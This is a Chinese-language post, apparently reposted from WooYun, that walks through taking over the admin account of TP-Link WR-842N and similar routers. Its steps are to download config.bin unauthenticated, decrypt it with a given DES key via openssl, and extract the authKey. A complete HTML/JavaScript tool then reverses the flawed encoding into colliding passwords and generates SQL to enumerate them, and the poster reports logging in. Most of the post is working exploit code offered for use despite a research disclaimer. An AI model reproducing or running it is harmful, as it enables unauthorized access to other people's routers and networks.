利用TP-LINK wr-842n等多款無線路由器(新界面2015)漏洞獲得管理員密碼
- 利用適當方法獲得 wifi 密碼後,連接上去。
- 任意下載 config.bin http://192.168.1.1/config.bin
- openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin
- 找到首行 authKey q4DiwXhc9TefbwK
- Query.js 存在演算法 BUG . 經過研究這段加密字串「q4DiwXhc9TefbwK」通過用戶瀏覽器運算生成,且存在演算法漏洞。
- 加密字串雖不可逆,但存在大量碰撞,即任意字元可生成相同的加密字串。破解文件html 網頁格式。找個資料庫軟體,用最後生成的SQL腳本【笛卡爾積】生成的每一組字元串均可登錄後台。【網頁格式,代碼部分另存成網頁html文件】
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>TPLINK_Auth_Key_計算器 作者:青島小哥 email:[email protected]</title> <script type="text/javascript"> function $(id) { return document.getElementById(id); } function orgAuthPwd(pwd) { var strDe = "RDpbLfCPsJZ7fiv"; /*字元寬度15*/ var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX" + "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML" + "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3" + "sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字元寬度255*/ $(dspDic).value = dic; $(dspPwd).value = pwd; $(dspStrDe).value = strDe; return securityEncode(pwd, strDe, dic); } function securityEncode(input1, input2, input3) { var dictionary = input3; /*=255*/ var output = ""; var len, len1, len2, lenDict; var cl = 0xBB, cr = 0xBB; len1 = input1.length; /*len1=6~15*/ len2 = input2.length; /*len2=15*/ lenDict = dictionary.length; /*lenDict=255*/ len = len1 > len2 ? len1 : len2; /*密碼限定寬度最大15位,len恆等於15*/ for (var index = 0; index < len; index++) /*index= 0 to 14*/ { cl = 0xBB; cr = 0xBB; if (index >= len1) /*如果密碼位數=14執行1次,=15不執行,=13執行2次,=12 3,11 4,10 5,9 6...保證取所有密碼字元unicode*/ { cr = input2.charCodeAt(index); } else if (index >= len2) /*14>=15,永遠不執行!*/ { cl = input1.charCodeAt(index); } else { cl = input1.charCodeAt(index); /*取所有密碼字元unicode,超出部分取0xBB,補足15位*/ cr = input2.charCodeAt(index); /*cr恆等於:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/ } output += dictionary.charAt((cl ^ cr) % lenDict); /*cl取所有密碼字元unicode與cr異或mod 255*/ } return output; } function lgDoSub() { var lgPwd = $(pwd).value; var result; var strAsc = ; result = orgAuthPwd(lgPwd); for (var ix = 32; ix < 127; ix++) /*32~126可見字元*/ { strAsc += String.fromCharCode(ix); } $(dspAsc).value = strAsc; $(dspAuthKey).value = result; $(dspLen).value = result.length; } function AuthKeyCup() { var arrayPasswd = new Array(15); var passwdLen = 0; var authkey = $(authKey).value; var strDe = "RDpbLfCPsJZ7fiv"; var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX" + "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML" + "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3" + "sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字元寬度255*/ var passwd = ; for (var crIndex = 0, passwdList, strComp_authkey, codeCr; crIndex < 15; crIndex++) { passwdList = ; strComp_authkey = authkey.charAt(crIndex); codeCr = strDe.charCodeAt(crIndex); /*cr恆等於:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/ for (var index = 32, strtmp, codeCl, strDic; index < 127; index++) { strtmp = String.fromCharCode(index); codeCl = strtmp.charCodeAt(0); strDic = dic.charAt((codeCl ^ codeCr) % 255); if (strComp_authkey == strDic) { passwdList += strtmp; continue; } } arrayPasswd[crIndex] = passwdList; } for (var i = 0; i < 15; i++) { if (arrayPasswd[i].length == 0) { passwdLen = i; break; /*密碼長度=i,密碼長度=0退出外循環*/ } else if (i == 14) { passwdLen = 15; } } for (var i = 0; i < passwdLen; i++) { passwd += arrayPasswd[i] +
; } $(dspPasswd).value = passwd; passwd = ; for (var i = 0; i < passwdLen; i++) { passwd += "drop table t" + i + ";
"; passwd += "CREATE TABLE t" + i + "(pwd nvarchar(50) NULL);
"; for (var j = 0; j < arrayPasswd[i].length; j++) { passwd += "insert into t" + i + " values(" + arrayPasswd[i].substr(j, 1) + ");
"; } } passwd += "select t0.pwd,t1.pwd,t2.pwd,t3.pwd,t4.pwd,t5.pwd,t6.pwd,t7.pwd from t0,t1,t2,t3,t4,t5,t6,t7"; $(dspSql).value = passwd; // var arrayXH = new Array(passwdLen); // for(var j=0;j<passwdLen;j++) // { // arrayXH[j]=arrayPasswd[j].length; // } // for(var j=0;j<passwdLen;j++) // { // for(var k=0;k<arrayXH[j];k++) // { // k*10+ // } // } } </script></head><body> <span style="text-align:center">TPLINK_Auth_Key_計算器(新用戶界面登錄密碼演算) 作者:青島小哥 email:<a href="mailto:[email protected]">[email protected]</a></span><br /> <span style="text-align:center">免責聲明:本計算器程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,<br />用戶將其信息做其他用途,由用戶承擔全部法律及連帶責任,本人不承擔任何法律及連帶責任。 </span> <form action="" method="get"> <fieldset> <legend>源碼測試</legend> 密碼[最小6位]: <input name="pwd" type="text" id="pwd" size="15" maxlength="15" /> <input type="button" name="btnOK" id="btnOK" value="計算KEY" onclick="lgDoSub()" /> <br /> <br /> 顯示 pwd: <input name="dspPwd" type="text" id="dspPwd" /> <br /> <br /> 顯示 strDe: <input name="dspStrDe" type="text" id="dspStrDe" /> <br /> <br /> 顯示 Dic: <textarea name="dspDic" cols="70" rows="4" id="dspDic"></textarea> <br /> <br /> 顯示 ASC碼錶: <textarea name="dspAsc" cols="70" rows="2" id="dspAsc"></textarea> <br /> <br /> 結果 Auth_key: <input name="dspAuthKey" type="text" id="dspAuthKey" /> 字元寬度: <input name="dspLen" type="text" id="dspLen" size="5" /> </fieldset> </form> <br /><br /> <form action="" method="get"> <fieldset> <legend>你懂得</legend> Auth_key【演示字元19830917】: <input name="authKey" type="text" id="authKey" value="0rZily4W9TefbwK" size="15" maxlength="15" /> <input type="button" name="btnCup" id="btnCup" value="解密KEY" onclick="AuthKeyCup()" /> 15位:0rZily4W9TefbwK <br /> <br /> 原始密碼字元【從首行由上到下,每行任選1個字元對應密碼一位,組成密碼串,N行字元==N位密碼】: <br /> <textarea name="dspPasswd" cols="70" rows="10" id="dspPasswd"></textarea> <br /> <br /> 資料庫查詢SQL: <textarea name="dspSql" cols="70" rows="10" id="dspSql"></textarea> </fieldset> </form></body></html>
我自己計算的是:
9NZ6Worz4(3S^.79EN-6
所以密碼是 964376
成功進入。
感謝路人甲提供的漏洞程序。
版權聲明:轉載請註明來源 路人甲@烏雲
推薦閱讀: